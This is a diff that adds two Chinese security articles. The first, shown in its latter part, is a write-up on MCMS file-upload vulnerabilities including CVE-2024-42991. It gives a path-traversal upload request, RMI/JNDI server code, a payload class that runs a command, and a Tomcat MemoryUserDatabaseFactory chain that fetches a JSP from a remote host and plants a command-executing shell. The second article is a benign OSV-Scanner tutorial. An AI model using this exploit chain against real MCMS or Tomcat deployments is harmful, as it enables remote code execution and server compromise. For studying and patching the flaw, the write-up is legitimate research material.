String path = uri.getPath(); +                if (path != null) { +                    int slash = path.lastIndexOf(47); +                    if (slash + 1 < path.length()) { +                        name = path.substring(slash + 1); +                    } +                } +            } catch (URISyntaxException var16) { +                name = resourceName; +            } +            if (name != null) { +                MimeType hint = this.getMimeType(name); +                if (!isHttp || !hint.isInterpreted()) { +                    possibleTypes = this.applyHint(possibleTypes, hint); +                } +            } +        } +        name = metadata.get("Content-Type"); +        if (name != null) { +            try { +                MimeType hint = this.forName(name); +                possibleTypes = this.applyHint(possibleTypes, hint); +            } catch (MimeTypeException var14) { +            } +        } +        return possibleTypes != null && !possibleTypes.isEmpty() ? ((MimeType)possibleTypes.get(0)).getType() : MediaType.OCTET_STREAM; +    } +``` + + +这个函数最后返回的就是 possibleTypes +，所以跟进这个 getMimeType + +![](https://mmbiz.qpic.cn/mmbiz_png/7nIrJAgaibicNdbNOIQ6WsP8Ex2PqBIrVn1IGqd368nEp3VgOOggaW169OUztrv8UMjic1dgI4cAOF1np5rcA5Bkg/640?wx_fmt=png&from=appmsg "") + +发现他是通过文件的二进制数据进行判定是什么 type，在 eval + 函数中通过数据来判别类型，识别完结果是这个 + +![](https://mmbiz.qpic.cn/mmbiz_png/7nIrJAgaibicNdbNOIQ6WsP8Ex2PqBIrVnwYCX8MgfjZCicEsQtib5JlMMRUlkpOkrbBTrG9dP8YaUS4w8nl02IR7A/640?wx_fmt=png&from=appmsg "") + +这里就可以直接猜测，他识别的是文件头，即在上传的 zip 文件中，添加图片的文件头 + +![](https://mmbiz.qpic.cn/mmbiz_png/7nIrJAgaibicNdbNOIQ6WsP8Ex2PqBIrVnMIQZTkrOxp2Udz26wE08VC4asUm8htIxDTvJ3nqZibP7rD83s9mibjvw/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/mmbiz_png/7nIrJAgaibicNdbNOIQ6WsP8Ex2PqBIrVnFnQ1r4NqYT096GF45gaU2Q9BbADdPSLaxBppiblBGo6xH37oqEickNXQ/640?wx_fmt=png&from=appmsg "") + +可以看到结果发生了变化，回到起点看看 + +![](https://mmbiz.qpic.cn/mmbiz_png/7nIrJAgaibicNdbNOIQ6WsP8Ex2PqBIrVnCu43E6GRmhPwZn8ZW4N3yFVhFYQbc8zWBaYQzhpBfQ1cLdDic1kc7Ag/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/mmbiz_png/7nIrJAgaibicNdbNOIQ6WsP8Ex2PqBIrVn3p4PdibAMdjHw9eN8Zq4zzY8WseN30bD7TDXuHqyLyYyQRCkIbzmVmw/640?wx_fmt=png&from=appmsg "") + +成功绕过了 checkzip + 函数，然后尝试压缩一个 jsp 上传看看 + +![](https://mmbiz.qpic.cn/mmbiz_png/7nIrJAgaibicNdbNOIQ6WsP8Ex2PqBIrVn86Axs5krFexJ8d5xOPHBe348FfO5dyEIyDEBLWM5soA2mV6wDdlmTA/640?wx_fmt=png&from=appmsg "") + +发现还是报这个错误，但是和前面的报的不一样，前面是这样的 + +![](https://mmbiz.qpic.cn/mmbiz_png/7nIrJAgaibicNdbNOIQ6WsP8Ex2PqBIrVngmicB2qbE2Nibx888AydcdoPUSHro6mC9XkQAj2qVQf4Opib7NcDlSLxw/640?wx_fmt=png&from=appmsg "") + +那就继续跟一下，发现是在 ManageFileAction.class + 的 uploadTemplate + 路由同样有判断 + +![](https://mmbiz.qpic.cn/mmbiz_png/7nIrJAgaibicNdbNOIQ6WsP8Ex2PqBIrVnZibUp7zY1djQHdd8YxKcs3kYulicWQmFXL9kQaWaHRkiaJfruN5He06FA/640?wx_fmt=png&from=appmsg "") + +跟进到这个 getType + 函数 + +![](https://mmbiz.qpic.cn/mmbiz_png/7nIrJAgaibicNdbNOIQ6WsP8Ex2PqBIrVnLyjqoKDhIQHzibxYg9NQVKRQISicOot1KQVcjhSlGkYGUA5dGgrLP6HQ/640?wx_fmt=png&from=appmsg "") + +发现好像同样是由二进制数据判定的，那就往 jsp 文件中加入图片头 + +![](https://mmbiz.qpic.cn/mmbiz_png/7nIrJAgaibicNdbNOIQ6WsP8Ex2PqBIrVnxanOR485bchFMJIAA6CG6DtvpdJmF94WVibbzEhqQJib7ar24VCsmFibw/640?wx_fmt=png&from=appmsg "") + +然后上传压缩包 + +![](https://mmbiz.qpic.cn/mmbiz_png/7nIrJAgaibicNdbNOIQ6WsP8Ex2PqBIrVn7miaqa2Zxl7IJF0rzz5K3jDaAbwq4wGaJuz0HjEJOwzezKEInibViaZ6w/640?wx_fmt=png&from=appmsg "") + +最后访问 jsp 即可 + +![](https://mmbiz.qpic.cn/mmbiz_png/7nIrJAgaibicNdbNOIQ6WsP8Ex2PqBIrVnvqIjtRzpmOcuHCksRF0Bet1xQqCkOntiaDM8wmbZ3eJAia5TEpZYwHFA/640?wx_fmt=png&from=appmsg "") +## 五、前台文件上传 CVE-2024-42991 + +该漏洞源于前端文件上传功能的不当处理，可能导致远程命令执行 +### 方式一：上传 xml 修改 jsp 解析后缀 + +在 MCMS 的历史漏洞中，有一个前台文件上传。具体路由是 /static/plugins/ueditor/1.4.3.3/jsp/editor.do + +经过开发者的修复，能上传的文件变得很有限，详见 ueditor + 的 config.json +``` +/* 上传文件配置 */ +    "fileActionName": "uploadfile", /* controller里,执行上传视频的action名称 */ +    "fileFieldName": "upfile", /* 提交的文件表单名称 */ +    "filePathFormat": "/ueditor/jsp/upload/file/{yyyy}{mm}{dd}/{time}{rand:6}", /* 上传保存路径,可以自定义保存路径和文件名格式 */ +    "fileUrlPrefix": "", /* 文件访问路径前缀 */ +    "fileMaxSize": 51200000, /* 上传大小限制，单位B，默认50MB */ +    "fileAllowFiles": [ +        ".png", ".jpg", ".jpeg", ".gif", ".bmp", +        ".flv", ".swf", ".mkv", ".avi", ".rm", ".rmvb", ".mpeg", ".mpg", +        ".ogg", ".ogv", ".mov", ".wmv", ".mp4", ".webm", ".mp3", ".wav", ".mid", +        ".rar", ".zip", ".tar", ".gz", ".7z", ".bz2", ".cab", ".iso", +        ".doc", ".docx", ".xls", ".xlsx", ".ppt", ".pptx", ".pdf", ".txt", ".md", ".xml" +    ], /* 上传文件格式显示 */ +``` + + +可以上传 xml 文件 + +如果环境是 Tomcat，就可以上传 web.xml + 修改 Tomcat 解析 jsp 的后缀 +``` + +        jsp +        *.jsp +        *.jspx +     +``` + + +添加一个 .png + 什么的，然后就可以 rce 了 + +如果再深挖一下，不修改 web.xml +，还有什么方法可以进行 rce 呢？ +### 方式二：从 jndi 到 rce +#### 1. 实现 jndi + +读过 lvyyevd 师傅的文章  +tomcat下的文件上传RCE姿势  +，我们可以知道，能通过上传 xml 来实现 jndi + +![](https://mmbiz.qpic.cn/mmbiz_png/7nIrJAgaibicNdbNOIQ6WsP8Ex2PqBIrVnXibiaYPcVXXGlZtKnhM18Vpvq3O8sQ1kWBthhynY5ooHKj2rqjV9oRgw/640?wx_fmt=png&from=appmsg "") + +hostConfigBase + 下的 xml 文件都会被 digester + 解析一遍。也就是说我们可以把 xml 文件上传到 hostConfigBase +。最后上传的目录为 \conf\Catalina\localhost + +xml 格式 +``` + + +     + +``` + + +上传的 Post 请求，其中 url 解码完是 {filePathFormat:'/{.}./{.}./{.}.//conf/Catalina/localhost/8'} +``` +POST /ms-mcms/static/plugins/ueditor/1.4.3.3/jsp/editor.do?jsonConfig=%7b%66%69%6c%65%50%61%74%68%46%6f%72%6d%61%74%3a%27%2f%7b%2e%7d%2e%2f%7b%2e%7d%2e%2f%7b%2e%7d%2e%2f%2f%63%6f%6e%66%2f%43%61%74%61%6c%69%6e%61%2f%6c%6f%63%61%6c%68%6f%73%74%2f%38%27%7d&action=uploadfile  HTTP/1.1 +Host: 127.0.0.1:8079 +Accept: */* +Accept-Encoding: gzip, deflate +Connection: close +Content-Length: 431 +Content-Type: multipart/form-data; boundary=------------------------AuIwirENRLZwUJSzValDLkEbUhZbrxlJuvZrhFXA +User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36 +X_Requested_With: UTF-8 +--------------------------AuIwirENRLZwUJSzValDLkEbUhZbrxlJuvZrhFXA +Content-Disposition: form-data; name="upload"; filename="1.xml" + + +    + +--------------------------AuIwirENRLZwUJSzValDLkEbUhZbrxlJuvZrhFXA-- +``` + + +本地启一个 rmi 服务，为 jndi 做准备 + +rmiserver +``` +public class RMIServe { +    public static void main(String[] args) throws RemoteException, AlreadyBoundException { +        Person person=new Person(); +        Registry registry= LocateRegistry.createRegistry(1099); +        registry.bind("person",person); +    } +} +``` + + +jndi 绑定对象 +``` +public static void main(String[] args) throws NamingException, RemoteException { +        InitialContext initialContext=new InitialContext(); +        Reference reference = new Reference("Test","Test","http://localhost:7777/"); +        initialContext.rebind("rmi://localhost:1099/IMperson",reference); +    } +``` + + +本地 Test 对象，就随便拿了一个弹计算器的对象。 +``` +import com.sun.org.apache.xalan.internal.xsltc.DOM; +import com.sun.org.apache.xalan.internal.xsltc.TransletException; +import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; +import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; +import com.sun.org.apache.xml.internal.serializer.SerializationHandler; +import java.io.IOException; +public class Test extends AbstractTranslet { +    public Test() { +    } +    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { +    } +    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { +    } +    static { +        try { +            Runtime.getRuntime().exec("calc"); +        } catch (IOException var1) { +            throw new RuntimeException(var1); +        } +    } +} +``` + + +在 class 对象中启一个 python 的 http 服务 + +上传文件，查看是否有 http 访问，发现并没有 + +![](https://mmbiz.qpic.cn/mmbiz_png/7nIrJAgaibicNdbNOIQ6WsP8Ex2PqBIrVnpvXdQUgxWTyrZEv7OBtMalLI4XQ5LZlx3IXiaPhwG4bMBNHdR7oraibQ/640?wx_fmt=png&from=appmsg "") + +查看发现，是 jdk 版本太高的原因导致 + +![](https://mmbiz.qpic.cn/mmbiz_png/7nIrJAgaibicNdbNOIQ6WsP8Ex2PqBIrVnHj9fapLqgFrfZPKcWjib15E3seX5aScicraujvDSPKLUjN0ib7AsXWv0Q/640?wx_fmt=png&from=appmsg "") + +那就顺带做一个绕过 +#### 2. 实现 rce + +jdk 版本高用的是 beanfactory +，第一个想到的是 Tomcat 自带的依赖 org.apache.naming.factory.BeanFactory + 中的 Reference 的 forceString + 属性，再配合 ELProcessor + 就能完成 rce。但当笔者实际实施的时候，发现还是不能成功，经过调试，发现笔者当前的 tomcat 版本好像移除了 forceString + 属性，查看具体的代码。 + +![](https://mmbiz.qpic.cn/mmbiz_png/7nIrJAgaibicNdbNOIQ6WsP8Ex2PqBIrVnOHOSyOkEwGYY2chlFibEiaVAtzfr9v4Ywn2qvCufciayrLaCdmf7Kbg5A/640?wx_fmt=png&from=appmsg "") + +那还有什么其他的方法吗？浅蓝师傅总结了很多其他的 jndi 注入方法，翻一翻，发现 xxe 到 rce 的一个方法 + +其中的 org.apache.catalina.users.MemoryUserDatabaseFactory + 会根据 pathname + 去发起本地或者远程文件访问，并使用 commons-digester + 解析返回的 XML 内容，所以这里可以 XXE + +具体原理可以查看浅蓝师傅写的文章  +探索高版本 JDK 下 JNDI 漏洞的利用方法 +，这里直接给出做法 + +首先要准备一个文件 test.jsp +，文件内容如下 +``` + + +   + +``` + + +然后 rmi 服务 +``` +public class RMIServe { +    public static void main(String[] args) throws RemoteException, AlreadyBoundException { +        Person person=new Person(); +        Registry registry= LocateRegistry.createRegistry(1099); +        registry.bind("person",person); +    } +} +``` + + +jndi 绑定对象 +``` +import org.apache.naming.ResourceRef; +import javax.naming.InitialContext; +import javax.naming.NamingException; +import javax.naming.Reference; +import javax.naming.StringRefAddr; +import java.rmi.RemoteException; +public class mcms { +    public static void main(String[] args) throws NamingException, RemoteException { +        InitialContext initialContext=new InitialContext(); +        ResourceRef ref = tomcatWriteFile(); +        initialContext.rebind("rmi://localhost:1099/remoteobj",ref); +    } +    private static ResourceRef tomcatWriteFile() { +        ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase", null, "", "", +                true, "org.apache.catalina.users.MemoryUserDatabaseFactory", null); +        ref.add(new StringRefAddr("pathname", "http://127.0.0.1:8888/../../webapps/ROOT/test.jsp")); +        ref.add(new StringRefAddr("readonly", "false")); +        return ref; +    } +} +``` + + +找一个地方，创建 webapps 和 ROOT 目录，里面放上面的 test.jsp + +![](https://mmbiz.qpic.cn/mmbiz_png/7nIrJAgaibicNdbNOIQ6WsP8Ex2PqBIrVnobJNVHxzA36kQdEUEUt8N1zawsuiadROict949dpFGDaPXz9s0HU4r8g/640?wx_fmt=png&from=appmsg "") + +在 webapps 上级目录也就是上图的 mcms 目录下启动一个 http 服务，8888 端口。启动 rmi 服务，运行绑定对象 + +上传 xml 文件。同样是上面的 Post，不出意外会得到 + +![](https://mmbiz.qpic.cn/mmbiz_png/7nIrJAgaibicNdbNOIQ6WsP8Ex2PqBIrVn0f6R6LDgjoYp8QLE3dlWPorqoRvnicOicAnUD05UWdkfiafAMmGZYPDfg/640?wx_fmt=png&from=appmsg "") + +test.jsp 就写进到 ROOT 目录了，查看 test.jsp + +![](https://mmbiz.qpic.cn/mmbiz_png/7nIrJAgaibicNdbNOIQ6WsP8Ex2PqBIrVnuT0dft1ErdoJpa2SXgcbyzFbKBmqMxhSEpIFe3ict0NSVMxzY77BXTQ/640?wx_fmt=png&from=appmsg "") + +发现好像编码了，调试 tomcat 代码，发现 tomcat 版本高了，会对 xml 进行编码 + +![](https://mmbiz.qpic.cn/mmbiz_png/7nIrJAgaibicNdbNOIQ6WsP8Ex2PqBIrVnFOrSCGRX9jpZIFeR0CYJaahoLmwEJhU8dKTPfDgIR7eXfR9leETZEQ/640?wx_fmt=png&from=appmsg "") + +最后，将 test.jsp 的执行换成了 el 表达式 +``` + + +   + +``` + + +重新执行上述流程 + +得到新的 jsp + +![](https://mmbiz.qpic.cn/mmbiz_png/7nIrJAgaibicNdbNOIQ6WsP8Ex2PqBIrVnbkg22N1XFicWT9icyXV0n7qfHGZptUGk4e1O3T2N8nbAiaqlFQar46j7w/640?wx_fmt=png&from=appmsg "") + +加入参数 n=java.lang.Runtime&m=getRuntime&code=calc +，成功 rce + +![](https://mmbiz.qpic.cn/mmbiz_png/7nIrJAgaibicNdbNOIQ6WsP8Ex2PqBIrVn0eC62l2kfgh9D5tpBGIaHVXBb16LHXicqdErSt5mVu4xFjjTA6o7Mibg/640?wx_fmt=png&from=appmsg "") + +【作者】：ve1kcon + diff --git a/doc/开源代码漏洞扫描器 OSV-Scanner 新增修复和离线功能.md b/doc/开源代码漏洞扫描器 OSV-Scanner 新增修复和离线功能.md new file mode 100644 index 00000000..8477b632 --- /dev/null +++ b/doc/开源代码漏洞扫描器 OSV-Scanner 新增修复和离线功能.md @@ -0,0 +1,359 @@ +# 开源代码漏洞扫描器 OSV-Scanner 新增修复和离线功能 +原创 SenderSu wavecn 2025-01-03 00:14 + +要防范软件供应链攻击，自动化扫描工具必不可少。OSV-Scanner 这个开源代码漏洞扫描器，以及支持该扫描器的漏洞数据库 osv.dev 在推出的当时就有点及时雨的意思。 + +之前笔者对 OSV-Scanner 已经做了介绍和功能跟踪。最新版本（本文为1.9.2）增加了一些颇为有用的实验性功能，比如 +离线模式和 +指导性纠正，所以再来仔细看看。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/HSHUiabvXVfO7c5kwJicHfgT7wXKXRNGSdlEdyGiatmlJk4c2TF1Vo4KF2zUQZa9p22oDI9vE7TNXibV6QWfibwRg4g/640?wx_fmt=jpeg&from=appmsg "") +
笔者：

国际注册信息系统审计师（CISA）

软考系统分析师

软件工程硕士

+本篇5千余字。 +
一首先看看新增的指导性纠正功能[1]‍‍
+离线模式看名字都大约知道是什么了，所以先看指导性纠正（Guided Remediation）这个晦涩功能名字的细节。 + +其实在笔者理解， +这个实验性功能如此命名，是工具开发人员不想用户误以为可以无脑使用此功能。 + +指导性纠正功能可以帮助开发人员简单、快速地修正扫描器发现的有漏洞的依赖项，而且可以批量修复。据介绍，该功能的设计要点包括： + +1）利用 deps.dev 分解软件项目的整个传递图，通过分析确定消除漏洞所需的最少更改； + +2）根据能修正的传递性漏洞的总数，排列出直接依赖升级的优先级； + +3）根据依赖深度、严重性和是否关心仅用于开发的依赖等筛选项排列出修正漏洞的优先级； + +4）修改软件包清单（manifest）和锁定文件（lockfile）从而修正漏洞； + +5）修正漏洞还区分两种不同策略： +就地修正（in-place）或 +重新锁定（relocking），不同的策略具有不同的风险和回报比率。就地修正风险较少但可能不全面，重新锁定则风险较大但更全面。 + +由于是实验性的新功能，现在仅支持 npm 生态的 package.json 清单和 package-lock.json 依赖锁定文件。 +
1、使用就地修正策略
+其实颇为简单： + +``` +osv-scanner fix --non-interactive --strategy=in-place -L 完整路径指向package-lock.json +``` + + +如上一条命令，就完成了对指定的依赖锁定文件中漏洞依赖项的升级修正。 + +几个参数组合起来的意思是对依赖锁定文件执行非交互式的（--non-interactive）就地（--strategy=in-place）修正（fix）。 + +所谓“就地修正”，是把依赖锁定文件中已知有漏洞的依赖项的版本替换为没有漏洞的版本，且会维护该依赖项现有的约束，因此风险较少，但可能会有些漏洞因约束冲突等原因而没有得到纠正。 + +另外，从参数就可以知道，OSV-Scanner 还提供了交互式的操作。 + +如果运行 OSV-Scanner 时不给出 --non-interactive 参数，就会启动文本的交互操作界面。 + +OSV-Scanner 会在界面中给出其扫描发现的漏洞清单，用户可以在清单中选择进行修正的漏洞项，或者深入查看漏洞信息，判断漏洞能否就地解决。 + +扫描器默认设置为修正约束范围内的所有漏洞项，用户也可以选择其中若干漏洞项单独修正。 + +本文的第三部分是尝试通过交互过程完成纠正。 +
2、使用重新锁定策略
+重新锁定策略是相对激进的。在执行 OSV-Scanner 时，通过 --strategy=relock 指定使用该策略，并增加指定package.json文件所在： + +``` +osv-scanner fix --non-interactive --strategy=relock -M 完整路径指向package.json -L 完整路径指向package-lock.json +``` + + +重新锁定策略的工作方式是根据 manifest 文件对所有依赖项的完整关系图进行重新计算，越过依赖项之间的约束关系，对所有需要的包均尝试使用其最新的版本，从而获得最大程度的漏洞版本纠正结果。 + +由于该操作很可能导致大幅度修改依赖关系图，最终产生的结果有可能是破坏性的，所以要先做好本地备份或把相关文件提交到代码仓库进行记录，以便进行后续可能需要的还原或回滚操作。 + +具体地，在重新锁定操作中，package-lock.json 的生成过程是先删除现有的 package-lock.json 文件和 node_modules/ 目录，然后运行 npm install --package-lock-only。这会重新创建锁定文件，但不会安装 node_modules/ 依赖项。 + +随后，用户自行运行 npm ci 命令，重新安装新版本的依赖项。 + +用户也可通过 --relock-cmd 参数，使用参数指定的命令取代原来的 npm install 安装命令。 + +重新锁定策略也可以在交互过程中使用。 +
3、交互界面的指引作用
+除了通过命令行简单地执行全部依赖项的重新锁定之外，用户还可以通过交互界面实施分步修补，调整直接依赖项的版本约束条件，深入发掘和升级存在漏洞的依赖项。 + +这就是功能命名为 Guided Remediation 的原因。 + +当用户通过漏洞依赖项清单选择和应用个别漏洞项的升级修改后，依赖关系图会被重新计算，使得用户可以在之前的操作基础上继续进行其它筛选。 + +要注意：补丁的排列次序是按照修复效果最大化从高到低排序，优先显示那些用最少的依赖更改解决最多漏洞的补丁， +而不是优先解决高危漏洞！ + +如此反复筛选和尝试，直到完成选择后，用户便可通过界面上的 Write 选项完成对依赖锁定文件的更新写入。 + +交互界面的具体操作在本文第三部分介绍。 +
4、筛选参数
+该功能还有一些参数，可以用于筛选需要处理的漏洞项，比如： + +1）最大依赖深度： --max-depth + +考虑漏洞依赖时的最大依赖深度限制。例如，--max-depth=1 只会考虑直接影响直接依赖项的漏洞，而 --max-depth=2 会考虑到直接依赖项的依赖项，依次类推。当设置 --max-depth=-1 时，会考虑所有依赖项，无论其深度如何。 + +2）最小CVSS分数： --min-severity + +考虑漏洞的最小 CVSS 分数。例如，--min-severity=7.5 只会考虑 CVSS 分数为 7.5 及以上的漏洞。如果漏洞的 OSV 记录中没有 CVSS 分数，则该漏洞不会被排除，也就是对于未评分的通常是新发现的漏洞一律从严。 + +3）排除开发版本： --ignore-dev + +是否排除仅在 devDependencies 中使用的依赖项中的漏洞。 + +4）忽略的漏洞清单：--ignore-vulns= + +从考虑范围中排除的 OSV ID 的清单。 + +5）专门考虑的漏洞清单：--vulns=:  + +只有在满足了其他参数所设置的条件时才需要考虑的漏洞的 OSV ID 清单。 +要注意“只有...才...”这个关系。 + +6）按排序应用补丁数量：--apply-top + +指定按排序应用的补丁数量。补丁的排序即交互模式显示的顺序。按官方介绍，此参数的使用情况是编写脚本以测试特定补丁。设置 --apply-top=-1 将应用所有可能的补丁，默认如此。 +
二接下来看看新增的离线模式[2]‍‍
+离线模式（Offline Mode）解决了需要实现封闭式开发环境时之前的 OSV-Scanner 没法用的问题，因为 OSV-Scanner 运行时要通过 osv.dev 网站提供的漏洞数据库 API 获取漏洞信息。 + +所以现在就提供了离线模式。 + +就如大家想象的，离线模式的使用方法就是下载数据库到本地，然后用参数指定使用......不不不，这是个实验性功能，没那么简单。 + +按文档，首先要设置名为： + +``` +OSV_SCANNER_LOCAL_DB_CACHE_DIRECTORY +``` + + +的操作系统环境变量，指定离线数据库所在的位置。比如 Windows 环境： + +``` +SET OSV_SCANNER_LOCAL_DB_CACHE_DIRECTORY=C:\Users\用户名\.osv-scanner +``` + + +或者 Linux： + +``` +export OSV_SCANNER_LOCAL_DB_CACHE_DIRECTORY=/home/用户名/.osv-scanner +``` + + +然后，把离线下载相关的两个参数附加到扫描过程上： + +``` +osv-scanner scan --experimental-offline --experimental-download-offline-databases 扫描目标 +``` + + +这就是官方文档[2]说得很含糊甚至容易误解的地方： + +对于本文使用的 osv-scanner 1.9.2 版本，下载离线数据库并不是一个独立的操作，而是需要在执行扫描时附带进行。 + +当环境变量指定的目录下找不到符合离线数据库目录结构的离线数据时，osv-scanner 就会自动创建目录结构并下载离线数据库。如果该目录内已经存在离线数据库文件，就会判断其是否过期和更新离线数据库。 + +笔者作为系统分析师，从产品功能设计的角度看，其实应该在现有的 scan 和 fix 之外再增加直接下载数据库的命令。所以这确实就是实验性质，比较简单粗暴。 + +文档提及，如果用户没有设置该环境变量，OSV-Scanner 会按默认规则查找，比如在 Linux 环境，会依次查找： + +``` +os.UserCacheDiros.TempDir +``` + + +但 Windows 的在哪，文档也没说。笔者实验后发现是默认为：  + +``` +C:\Users\用户名\AppData\Local\osv-scanner +``` + + +很显然，如果是个人使用，干脆就不管那个环境变量也可以了。 + +离线数据库还可以通过浏览器直接下载或使用 gsutil 工具手工下载，但就需要自己创建符合要求的目录结构。详细可以参考 OSV-Scanner 官方文档。 + +一旦已经下载了离线数据库，后续的扫描就不需要再带上 --experimental-download-offline-databases 参数，只给出 --experimental-offline 参数即可使用离线数据库，即： + +``` +osv-scanner scan --experimental-offline 扫描目标 +``` + + +
三对这两项实验性功能进行试用‍‍
+笔者之前下载了一份 zxcvbn 比较新的分支项目[3]的源代码，就对它试试。 + +题外话，关于 zxcvbn，可以参考笔者之前的文章（笔者的文章都是可以往前引用的）： + +《[攻防演练在即：我自己的密码够强吗？](https://mp.weixin.qq.com/s?__biz=Mzg4Njc0Mjc3NQ==&mid=2247486132&idx=1&sn=04ffe3874afedd6048320696d85e0d86&scene=21#wechat_redirect) +》 + +用 OSV-Scanner 不带参数扫描，结果如下： + +``` +D:\trichards57-zxcvbn>.\osv-scanner.exe scan .Scanning dir .Scanning D:\trichards57-zxcvbn/ at commit a7f952e48b50bf5fde5b4fd193a184bcb53bd227Scanned D:\trichards57-zxcvbn\package-lock.json file and found 703 packages╭─────────────────────────────────────┬──────┬───────────┬───────────────────────┬─────────┬───────────────────╮≈│ OSV URL                             │ CVSS │ ECOSYSTEM │ PACKAGE               │ VERSION │ SOURCE            │├─────────────────────────────────────┼──────┼───────────┼───────────────────────┼─────────┼───────────────────┤≈│ https://osv.dev/GHSA-67hx-6x53-jw92 │ 9.3  │ npm       │ @babel/traverse (dev) │ 7.18.2  │ package-lock.json ││ https://osv.dev/GHSA-grv7-fg5c-xmjg │ 7.5  │ npm       │ braces (dev)          │ 3.0.2   │ package-lock.json ││ https://osv.dev/GHSA-x9w5-v3q2-3rhw │ 7.5  │ npm       │ browserify-sign (dev) │ 4.2.1   │ package-lock.json ││ https://osv.dev/GHSA-3xgq-45jj-v275 │ 7.5  │ npm       │ cross-spawn (dev)     │ 7.0.3   │ package-lock.json ││ https://osv.dev/GHSA-434g-2637-qmqr │ 5.3  │ npm       │ elliptic (dev)        │ 6.5.4   │ package-lock.json ││ https://osv.dev/GHSA-49q7-c7j4-3p7m │ 5.3  │ npm       │ elliptic (dev)        │ 6.5.4   │ package-lock.json ││ https://osv.dev/GHSA-977x-g7h5-7qgw │ 5.3  │ npm       │ elliptic (dev)        │ 6.5.4   │ package-lock.json ││ https://osv.dev/GHSA-f7q4-pwc6-w24p │ 5.3  │ npm       │ elliptic (dev)        │ 6.5.4   │ package-lock.json ││ https://osv.dev/GHSA-fc9h-whq2-v747 │ 4.8  │ npm       │ elliptic (dev)        │ 6.5.4   │ package-lock.json ││ https://osv.dev/GHSA-9c47-m6qq-7p4h │ 7.1  │ npm       │ json5 (dev)           │ 1.0.1   │ package-lock.json ││ https://osv.dev/GHSA-9c47-m6qq-7p4h │ 7.1  │ npm       │ json5 (dev)           │ 2.2.1   │ package-lock.json ││ https://osv.dev/GHSA-952p-6rrq-rcjv │ 5.3  │ npm       │ micromatch (dev)      │ 4.0.5   │ package-lock.json ││ https://osv.dev/GHSA-p8p7-x288-28g6 │ 6.1  │ npm       │ request (dev)         │ 2.88.2  │ package-lock.json ││ https://osv.dev/GHSA-c2qf-rxjj-qqgw │ 7.5  │ npm       │ semver (dev)          │ 6.3.0   │ package-lock.json ││ https://osv.dev/GHSA-c2qf-rxjj-qqgw │ 7.5  │ npm       │ semver (dev)          │ 7.3.7   │ package-lock.json ││ https://osv.dev/GHSA-4wf5-vphf-c2xc │ 7.5  │ npm       │ terser (dev)          │ 3.17.0  │ package-lock.json ││ https://osv.dev/GHSA-72xf-g2v4-qvf3 │ 6.5  │ npm       │ tough-cookie (dev)    │ 2.5.0   │ package-lock.json ││ https://osv.dev/GHSA-j8xg-fqg3-53r7 │ 5.3  │ npm       │ word-wrap (dev)       │ 1.2.3   │ package-lock.json │╰─────────────────────────────────────┴──────┴───────────┴───────────────────────┴─────────┴───────────────────╯≈ +``` + + +如果是离线扫描，则扫描结果表格之前的提示内容会有所不同，多了一行加载本地离线数据库的提示，期间数据库的离线下载过程透明而且下载迅速无感： + +``` +D:\trichards57-zxcvbn>.\osv-scanner.exe scan --experimental-offline --experimental-download-offline-databases .Scanning dir .Scanned D:\trichards57-zxcvbn\package-lock.json file and found 703 packagesLoaded npm local db from C:\Users\Sender\AppData\Local/osv-scanner/npm/all.zip +``` + + +（此处省略扫描结果表格） + +扫描结果说明存在有漏洞的依赖项。 + +接下来尝试修复。为了仔细看看修复功能，于是选择不带任何参数启动 fix 命令，从而进入文本交互模式： + +``` +.\osv-scanner.exe fix --experimental-offline -L .\package-lock.json +``` + + +出现如下图1的扫描过程窗口： + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/HSHUiabvXVfO7c5kwJicHfgT7wXKXRNGSd4IOUfB65Mv30wjvqplTVeaeUnGPicTBFAkjutJmUTqS6sddMpxeY7cg/640?wx_fmt=png&from=appmsg "") + +图1 扫描中 + +完成扫描后，提示扫描结果如图2，发现18项漏洞，其中0项为直接依赖，18项可转移，18项仅开发。界面允许用户选择操作和筛选设置（详见前文）： + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/HSHUiabvXVfO7c5kwJicHfgT7wXKXRNGSdYsDiaNoVlvv9aV4XCKCCC1ZibVBwLGy62bPkmODIyvnK2VHAuUYdISoA/640?wx_fmt=png&from=appmsg "") + +图2 扫描结果及操作 + +箭头键上移选中 18 vulnerabilities，然后按回车就可以转入18项漏洞的清单如图3和详细信息界面如图4进行详细观察。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/HSHUiabvXVfO7c5kwJicHfgT7wXKXRNGSdJCUIKILnfeqMQZDogxLqj6P55AwPCoLpRr7t3p4icmJ7gOyR3Csyklw/640?wx_fmt=png&from=appmsg "") + +图3 漏洞清单 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/HSHUiabvXVfO7c5kwJicHfgT7wXKXRNGSd1M5PO8S6Mvt5crnOARtVedexLAZQ6CgaVkMTgCVdZ6VUzSSNfxh32g/640?wx_fmt=png&from=appmsg "") + +图4 漏洞详情 + +值得一提的是文本界面支持宽屏，拉宽命令行窗口后，显示内容就会变成两个框，如图5： + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/HSHUiabvXVfO7c5kwJicHfgT7wXKXRNGSdt7pTzMAvy5CrLAvLQFFBWV0ZmQElFamqbGldSc7NHXLa7hD1D3UvcA/640?wx_fmt=png&from=appmsg "") + +图5 双窗口模式 + +右边的框是信息框，这样就很直观。但由于发文排版原因，下文都还是用单框截图。 + +交互界面上的操作元素就不再多说。界面提示，可以通过修改7个依赖包而修复18个漏洞中的11个。 + +另外还可以注意到界面提示，由于缺少 manifest 文件（启动修复时笔者没有通过 -M 参数给出 manifest 文件所在），所以修复策略不能选择重新锁定（re-lock）。 + +不考虑什么，如图6选择 Modify lockfile in-place，然后一个回车键执行就地修正。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/HSHUiabvXVfO7c5kwJicHfgT7wXKXRNGSdbiaCb3iahLTtI30HwB3VmxjCuM2HVpbFpDynibtpefFha68oQJpGibBDdQ/640?wx_fmt=png&from=appmsg "") + +图6 